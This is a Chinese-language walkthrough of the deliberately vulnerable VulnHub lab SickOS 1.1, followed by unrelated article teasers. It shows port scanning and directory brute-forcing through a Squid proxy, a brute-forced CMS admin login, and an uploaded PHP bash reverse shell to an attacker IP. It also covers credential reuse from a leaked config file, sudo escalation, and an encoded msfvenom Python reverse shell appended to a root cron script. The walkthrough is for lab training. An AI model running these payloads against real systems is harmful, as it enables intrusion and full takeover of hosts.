[vulnhub] SickOS1.1

news2024/11/19 16:28:06

https://www.vulnhub.com/entry/sickos-11,132/

主机发现端口扫描

  1. 探测存活主机,136是靶机,因为靶机是我最后添加的

    nmap -sP 192.168.75.0/24
    //
    Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 11:36 CST
    Nmap scan report for 192.168.75.1
    Host is up (0.00038s latency).
    MAC Address: 00:50:56:C0:00:08 (VMware)
    Nmap scan report for 192.168.75.2
    Host is up (0.00031s latency).
    MAC Address: 00:50:56:FB:CA:45 (VMware)
    Nmap scan report for 192.168.75.136
    Host is up (0.00049s latency).
    MAC Address: 00:0C:29:62:FB:04 (VMware)
    Nmap scan report for 192.168.75.254
    Host is up (0.00027s latency).
    MAC Address: 00:50:56:F8:B3:1A (VMware)
    Nmap scan report for 192.168.75.131
    Host is up.
    
  2. 扫描靶机所有开放端口

    nmap -sT -min-rate 10000 -p- 192.168.75.136 
    //
    Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 11:41 CST
    Nmap scan report for 192.168.75.136
    Host is up (0.00075s latency).
    Not shown: 65532 filtered tcp ports (no-response)
    PORT     STATE  SERVICE
    22/tcp   open   ssh
    3128/tcp open   squid-http
    8080/tcp closed http-proxy
    MAC Address: 00:0C:29:62:FB:04 (VMware)
    
  3. 查看服务版本以及系统版本

    nmap -sT -min-rate 10000 -p- 192.168.75.136 
    //
    Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 11:41 CST
    Nmap scan report for 192.168.75.136
    Host is up (0.00075s latency).
    Not shown: 65532 filtered tcp ports (no-response)
    PORT     STATE  SERVICE
    22/tcp   open   ssh
    3128/tcp open   squid-http
    8080/tcp closed http-proxy
    MAC Address: 00:0C:29:62:FB:04 (VMware)
    
  4. 使用脚本扫描漏洞

    nmap -script=vuln -p 22,3128,8080 192.168.75.136 -oA Desktop/test/vuln
    //
    Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 11:46 CST
    Nmap scan report for 192.168.75.136
    Host is up (0.00085s latency).
    
    PORT     STATE  SERVICE
    22/tcp   open   ssh
    3128/tcp open   squid-http
    8080/tcp closed http-proxy
    MAC Address: 00:0C:29:62:FB:04 (VMware)
    

web渗透

  • 只有8080是关闭的,打开的只有3128 端口运行着squid代理服务和ssh,访问3128 ,返回

    ERROR
    The requested URL could not be retrieved
    The following error was encountered while trying to retrieve the URL: /
        Invalid URL
    Some aspect of the requested URL is incorrect.
    Some possible problems are:
        Missing or incorrect access protocol (should be "http://" or similar)
        Missing hostname
        Illegal double-escape in the URL-Path
        Illegal character in hostname; underscores are not allowed.
    Your cache administrator is webmaster.
    Generated Sun, 22 Sep 2024 06:03:35 GMT by localhost (squid/3.1.19)
    

    可知版本是3.1.19 ,因为他是个代理服务器,所以可能会代理着什么,可能就是80端口

  • 因为我的火狐连接着的是burp的代理地址,假如想要再通过代理访问别的网站并且能抓包的话,就需要设置burp上游代理服务器

    大概在:network->connection->upstreamserver 把代理地址192.168.75.136:3128 添加上去即可

  • 访问192.168.75.136 ,页面有回显了,那就表示80192.168.75.136:3128 下代理着

    # 内容
    BLEHHH!!! 
    

    是个网路用词

  • 扫描目录,需要指定代理服务器

    python .\dirsearch.py -u http://192.168.75.136 --proxy 192.168.75.136:3128
    //
    [12:15:18] 403 -  243B  - /cgi-bin/
    [12:15:19] 200 -  109B  - /connect
    [12:15:20] 403 -  239B  - /doc/
    [12:15:20] 403 -  242B  - /doc/api/
    [12:15:20] 403 -  247B  - /doc/html/index.html
    [12:15:20] 403 -  249B  - /doc/en/changes.html
    [12:15:20] 403 -  247B  - /doc/stable.version
    [12:15:29] 200 -   58B  - /robots.txt
    [12:15:30] 403 -  242B  - /server-status
    [12:15:30] 403 -  242B  - /server-status/
    

    发现robots.txt以及connect

    1. connect内容

      #!/usr/bin/python
      
      print "I Try to connect things very frequently\n"
      print "You may want to try my services"
      
    2. robots.txt 内容

      User-agent: *
      Disallow: /
      Dissalow: /wolfcms
      

      给我们提示wolfcms

  • 访问/wolfcms ,是一个内容管理cms,爆破目录

    python .\dirsearch.py -u http://192.168.75.136/wolfcms --proxy 192.168.75.136:3128
    //
    [12:18:17] 200 -  403B  - /wolfcms/composer.json
    ....
    [12:18:17] 200 -    4KB - /wolfcms/CONTRIBUTING.md
    [12:18:18] 301 -  253B  - /wolfcms/docs  ->  http://192.168.75.136/wolfcms/docs/
    [12:18:18] 200 -  512B  - /wolfcms/docs/
    [12:18:18] 200 -    2KB - /wolfcms/docs/updating.txt
    [12:18:19] 200 -  894B  - /wolfcms/favicon.ico
    [12:18:26] 301 -  257B  - /wolfcms/public  ->  http://192.168.75.136/wolfcms/public/
    [12:18:26] 200 -  462B  - /wolfcms/public/
    [12:18:26] 200 -    2KB - /wolfcms/README.md
    [12:18:27] 200 -   20B  - /wolfcms/robots.txt
    

    发现robots.txt以及readme.md

    访问后robots.txt 是空的,readme.md 为配置说明

  • 通过查阅得知后台登陆地址在/wolfcms/?/admin/login

    在这里插入图片描述

    网路搜索默认账号密码尝试,登陆失败

    使用burp进行爆破,指定账号为admin ,通过密码字典爆破

    爆破成功,账号密码都是 admin

获得初级shell

  • 登陆进去后寻找可利用点,找到 uploadfile

    fileUploadfile

  • 上传反弹shell代码文件

    //getshell.php
    <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.75.131/1234 0>&1'");?>
    
  • 上传后点击文件,回显文件保存在 /public/getshell.php

    在这里插入图片描述

  • 一步一步尝试发现文件在 http://192.168.75.136/wolfcms/public/getshell.php

    kali 开启监听

    nc -lvp 1234                                                     
    listening on [any] 1234 ...
    

    访问 http://192.168.75.136/wolfcms/public/getshell.php

    反弹shell成功

  • 查看其权限

    listening on [any] 1234 ...
    192.168.75.136: inverse host lookup failed: Unknown host
    connect to [192.168.75.131] from (UNKNOWN) [192.168.75.136] 52339
    //
    www-data@SickOs:/var/www/wolfcms/public$ dpkg -l
    ...
    //
    www-data@SickOs:/var/www/wolfcms/public$ sudo -l
    sudo: no tty present and no askpass program specified
    Sorry, try again.
    sudo: no tty present and no askpass program specified
    Sorry, try again.
    sudo: no tty present and no askpass program specified
    Sorry, try again.
    sudo: 3 incorrect password attempts
    //
    www-data@SickOs:/var/www/wolfcms/public$ uname -a
    Linux SickOs 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
    

    权限不高,系统名是SickOs 内核版本是3.11.0-15

提权

  • 因为wolf是cms,肯定会存在与数据库连接的文件,找到config.php 文件

    cat /var/www/wolfcms/config.php
    //
    <?php 
    
    // Database information:
    // for SQLite, use sqlite:/tmp/wolf.db (SQLite 3)
    // The path can only be absolute path or :memory:
    // For more info look at: www.php.net/pdo
    
    // Database settings:
    define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
    define('DB_USER', 'root');
    define('DB_PASS', 'john@123');
    define('TABLE_PREFIX', '');
    .....
    

    发现数据库用户名为root,密码为john@123

    改密码有可能也是系统上某个用户的密码

  • 查看/etc/passwd 寻找可疑用户

    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    sys:x:3:3:sys:/dev:/bin/sh
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/bin/sh
    man:x:6:12:man:/var/cache/man:/bin/sh
    lp:x:7:7:lp:/var/spool/lpd:/bin/sh
    mail:x:8:8:mail:/var/mail:/bin/sh
    news:x:9:9:news:/var/spool/news:/bin/sh
    uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
    proxy:x:13:13:proxy:/bin:/bin/sh
    www-data:x:33:33:www-data:/var/www:/bin/sh
    backup:x:34:34:backup:/var/backups:/bin/sh
    list:x:38:38:Mailing List Manager:/var/list:/bin/sh
    irc:x:39:39:ircd:/var/run/ircd:/bin/sh
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
    nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
    libuuid:x:100:101::/var/lib/libuuid:/bin/sh
    syslog:x:101:103::/home/syslog:/bin/false
    messagebus:x:102:105::/var/run/dbus:/bin/false
    whoopsie:x:103:106::/nonexistent:/bin/false
    landscape:x:104:109::/var/lib/landscape:/bin/false
    sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
    sickos:x:1000:1000:sickos,,,:/home/sickos:/bin/bash
    mysql:x:106:114:MySQL Server,,,:/nonexistent:/bin/false
    

    发现可疑用户有 rootwww-databckupsickos

  • 使用可疑用户进行ssh登录,密码使用john@123 ,数据库链接上的密码

    最后sickos 成功登录

  • 查看sickos 用户权限

    sickos@SickOs:~$ sudo -l
    //
    [sudo] password for sickos: 
    Matching Defaults entries for sickos on this host:
        env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
    
    User sickos may run the following commands on this host:
        (ALL : ALL) ALL
    

    等于root权限

  • 读取flag

    sickos@SickOs:~$ sudo /bin/bash
    root@SickOs:~# 
    //
    root@SickOs:/home# cd /root
    root@SickOs:/root# cat a0216ea4d51874464078c618298b1367.txt 
    If you are viewing this!!
    
    ROOT!
    
    You have Succesfully completed SickOS1.1.
    Thanks for Trying
    

另外一种提权思路

  1. 查看定时任务crontab ,在/etc/cron.d/ 里面存在一个automate

    内容是

    www-data@SickOs:/etc/cron.d$ cat automate
    //
    * * * * * root /usr/bin/python /var/www/connect.py
    

    每分钟使用root执行connect.py

  2. 可以往connect.py 添加反弹shell代码

  3. 生成pypayload代码

    msfvenom -p cmd/unix/reverse_python lhost=192.168.75.131 lport=1235 -f raw
    //
    [-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
    [-] No arch selected, selecting arch: cmd from the payload
    No encoder specified, outputting raw payload
    Payload size: 364 bytes
    python -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqFkM0KwjAQhF8l5JSARJNSf5AcilQQUcH2XmyMtFib0E3fX0Paeuxehtn9dge2/ljTOQRGvbVDCC0Qgr60nVEaIHjz0z3yVRlwEvOdYHy9ZZuY8YjjcejvSC6ieGyADFdZEDK45Ficrmk+ZIVedjuciyy/p8mFTutMmbbVyhHicwPvQ+iEGGDP3goC7FU3ujWEBmo1S/BZQkyElf+PMPVoGoKXZd0uocL0C7l5Vrk=')[0])))
    

    因为crontab执行的是python文件,所以不用exec再套一遍python,所以到的就有

    exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqFkM0KwjAQhF8l5JSARJNSf5AcilQQUcH2XmyMtFib0E3fX0Paeuxehtn9dge2/ljTOQRGvbVDCC0Qgr60nVEaIHjz0z3yVRlwEvOdYHy9ZZuY8YjjcejvSC6ieGyADFdZEDK45Ficrmk+ZIVedjuciyy/p8mFTutMmbbVyhHicwPvQ+iEGGDP3goC7FU3ujWEBmo1S/BZQkyElf+PMPVoGoKXZd0uocL0C7l5Vrk=')[0])))
    
  4. 把payload重定向到connect.py (connect.py 其实就是渗透阶段发现的/connect 目录里的内容)

    echo "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqFkM0KwjAQhF8l5JSARJNSf5AcilQQUcH2XmyMtFib0E3fX0Paeuxehtn9dge2/ljTOQRGvbVDCC0Qgr60nVEaIHjz0z3yVRlwEvOdYHy9ZZuY8YjjcejvSC6ieGyADFdZEDK45Ficrmk+ZIVedjuciyy/p8mFTutMmbbVyhHicwPvQ+iEGGDP3goC7FU3ujWEBmo1S/BZQkyElf+PMPVoGoKXZd0uocL0C7l5Vrk=')[0])))" >> /var/www/connect.py
    
  5. kali开启监听,等待代码执行

    获得root权限成功

    nc -lvp 1235                                    
    listening on [any] 1235 ...
    //
    192.168.75.136: inverse host lookup failed: Unknown host
    connect to [192.168.75.131] from (UNKNOWN) [192.168.75.136] 51066
    
    python -c "import pty;pty.spawn('/bin/bash')"
    root@SickOs:~# 
    
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2161872.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue-animate-onscroll动画库(可来回触发动画)

效果展示 ①触发一次动画 触发一次 ②触发多次动画 触发多次 1.什么是vue-animate-onscroll 它是一个 Vue 插件&#xff0c;用于在滚动时触发动画效果。它可以帮助开发者在用户滚动页面时&#xff0c;逐渐展示元素&#xff0c;增强用户体验。基本用法是通过在元素上添加特定的指…

IR21364的代替品SLM21364CF-DG:带过流保护、使能和故障反馈 高压三相半桥驱动芯片 神秘芯片背后的惊人力量

SLM21364CF-DG是一款高压、高速的三相功率MOSFET和IGBT驱动器。采用专有的高压集成电路和锁存免疫CMOS技术&#xff0c;提供可靠的单芯片驱动方案。逻辑输入电平与标准CMOS或LSTTL输出兼容&#xff0c;最低支持3.3V逻辑。通过检测外部电流电阻上电流&#xff0c;过流保护功能能…

nginx如何拦截未经授权的跳转

nginx如何拦截未经授权的跳转 背景准备好一个网站准备好引用网站配置nginx拦截效果 背景 在现实工作中往往有一些企业或人未取得授权但是转载或挂载我们的网址。那么有些要求严格或者有其他原因的情况下不希望这些链接正常访问。所以就有了这样的需求。前提是咱们的网站什么的是…

【深度学习】批量规范化

训练深层神经网络是十分困难的&#xff0c;光是之前简单的模型在简单的数据集上训练都不太轻松。 而批量规范化&#xff08;batch normalization&#xff09;是一种流行且有效的技术&#xff0c;可以帮助加快深层网络的收敛速度。 一、训练深层网络 我们回顾一下训练神经网络…

【第十三章:Sentosa_DSML社区版-机器学习之聚类】

目录 13.1 KMeans聚类 13.2 二分KMeans聚类 13.3 高斯混合聚类 13.4 模糊C均值聚类 13.5 Canopy聚类 13.6 Canopy-KMeans聚类 13.7 文档主题生成模型聚类 13.8 谱聚类 【第十三章&#xff1a;Sentosa_DSML社区版-机器学习之聚类】 13.1 KMeans聚类 1.算子介绍 KMeans…

【全新课程】正点原子《ESP32物联网项目实战》培训课程上线!

正点原子《ESP32物联网项目实战》全新培训课程上线啦&#xff01;正点原子工程师手把手教你学&#xff01;通过多个项目实战&#xff0c;掌握ESP32物联网项目的开发&#xff01; 一、课程介绍 本课程围绕物联网实战项目展开教学&#xff0c;内容循序渐进&#xff0c;涵盖了环…

后台管理系统开箱即用的组件库!!【送源码】

今天给大家推荐几款的后台管理系统开箱即用的组件库&#xff0c;基于ElementUI二次封装&#xff0c;开发必备 Headless UI Headless UI 是一款出色的前端组件库&#xff0c;专为与 Tailwind CSS 集成而设计。一组完全无样式、完全可访问的 UI 组件&#xff0c;可以自由的引入…

【Linux】nginx连接前端项目

文章目录 一、项目编译1.编译文件2.dist文件 二、Linux nginx配置三、启动nginx 一、项目编译 1.编译文件 2.dist文件 二、Linux nginx配置 在Xshell软件中&#xff0c;点击CtrlAltF进入文件传输找到地址&#xff1a;/usr/local/nginx/html将dist文件传入 找到nginx.conf&…

考研数据结构——C语言实现冒泡排序

冒泡排序是一种简单的排序算法&#xff0c;它重复地遍历要排序的列表&#xff0c;比较每对相邻元素&#xff0c;并在顺序错误的情况下交换它们。这个过程重复进行&#xff0c;直到没有需要交换的元素&#xff0c;这意味着列表已经排序完成。冒泡排序的名字来源于较小的元素会逐…

mybaits获取sqlsession对象后自动开启事务,增删改要记得提交事务!

mybaits中在使用 SQLSession 对象进行数据库操作时&#xff0c;需要注意事务的处理。 以下是关于这个问题的详细说明&#xff1a; 一、SQLSession 与事务的关系 SQLSession 是 MyBatis 框架中用于执行 SQL 语句和与数据库交互的关键对象。当获取 SQLSession 对象后&#xff…

Kali crunsh字典工具

查看自带密码字典 vim /usr/share/wordlists 使用 crunch 字典工具 随机组成6位纯数字密码 crunch 6 6 0123456789 -o test1.txt 由 Abc1234 随机组成的 6~8 位密码 crunch 6 8 Abc1234 -o test2.txt 以A开头后面跟3位数字组成的4位密码 crunch 4 4 -t A%%% -o test3.txt

【鸿蒙HarmonyOS NEXT】用户首选项Preference存储数据

【鸿蒙HarmonyOS NEXT】数据存储之用户首选项Preference 一、环境说明二、Preference运作机制三、示例代码加以说明四、小结 一、环境说明 DevEco Studio 版本&#xff1a; API版本&#xff1a;以12为主 二、Preference运作机制 应用场景&#xff1a; 用户首选项为应用提…

2024全球科技品牌价值榜50强:苹果第一

根据《Brand Finance 2024年全球最具价值科技品牌榜单报告》&#xff0c;中国品牌在社交媒体、电子和电器行业表现卓越。 全球排名前三的是&#xff1a;苹果、微软以及 Google。国内前几的是&#xff1a;抖音、微信和华为&#xff0c;分为位于第五、十一、十五位。 英伟达在人工…

深度学习|误差逆传播:梯度速解

文章目录 引言链式法则误差逆传播加法的逆传播乘法的逆传播逆传播求梯度 SoftmaxWithLoss 层正向传播逆传播代码实现参考 结语 引言 我们知道训练神经网络模型的核心是以损失函数为基准来调整优化网络参数&#xff0c;使得网络的输出尽可能接近真实标签。在神经网络中&#xf…

关于区块链的安全和隐私

背景 区块链技术在近年来发展迅速&#xff0c;被认为是安全计算的突破&#xff0c;但其安全和隐私问题在不同应用中的部署仍处于争论焦点。 目的 对区块链的安全和隐私进行全面综述&#xff0c;帮助读者深入了解区块链的相关概念、属性、技术和系统。 结构 首先介绍区块链…

Python酷库之旅-第三方库Pandas(124)

目录 一、用法精讲 551、pandas.DataFrame.notna方法 551-1、语法 551-2、参数 551-3、功能 551-4、返回值 551-5、说明 551-6、用法 551-6-1、数据准备 551-6-2、代码示例 551-6-3、结果输出 552、pandas.DataFrame.notnull方法 552-1、语法 552-2、参数 552-3…

BitSet-解决数据压缩问题

一、问题引入 假设QQ音乐服务器上有9000万首音乐&#xff0c;用户按照歌名来搜索歌曲&#xff0c;如何使得满足这一需求所需的数据占用的内存空间最小以及用户搜索歌曲速度更快 二、分析问题 1、为了满足使得数据占用的内存更小&#xff0c;可以采用映射的思路&#xff0c;按…

项目实战bug修复

实操bug修复记录 左侧侧边栏切换&#xff0c;再次切换侧边栏&#xff0c;右侧未从顶部初始位置展示。地图定位展示&#xff0c;可跳转到设置的对应位置。一个页面多个el-dialog弹出框导致渲染层级出现问题。锚点滚动定位错位问题。动态类名绑定。el-tree树形通过 draggable 属性…

Linux 进程与进程状态

目录 1.进程。 1.进程的概念 2.并行和并发 3.并行和并发的区别&#xff1a; 4.PCB&#xff08;程序控制块&#xff09; 5.进程组与会话。 6.进程状态。 1.进程。 1.进程的概念 进程是操作系统进行资源分配和调度的一个独立单位。每个进程都运行在操作系统的控制之下&…

游戏化在电子课程中的作用:提高参与度和学习成果

游戏化&#xff0c;即游戏设计元素在非游戏环境中的应用&#xff0c;已成为电子学习领域的强大工具。通过将积分、徽章、排行榜和挑战等游戏机制整合到教育内容中&#xff0c;电子课程可以变得更具吸引力、激励性和有效性。以下是游戏化如何在转变电子学习中发挥重要作用&#…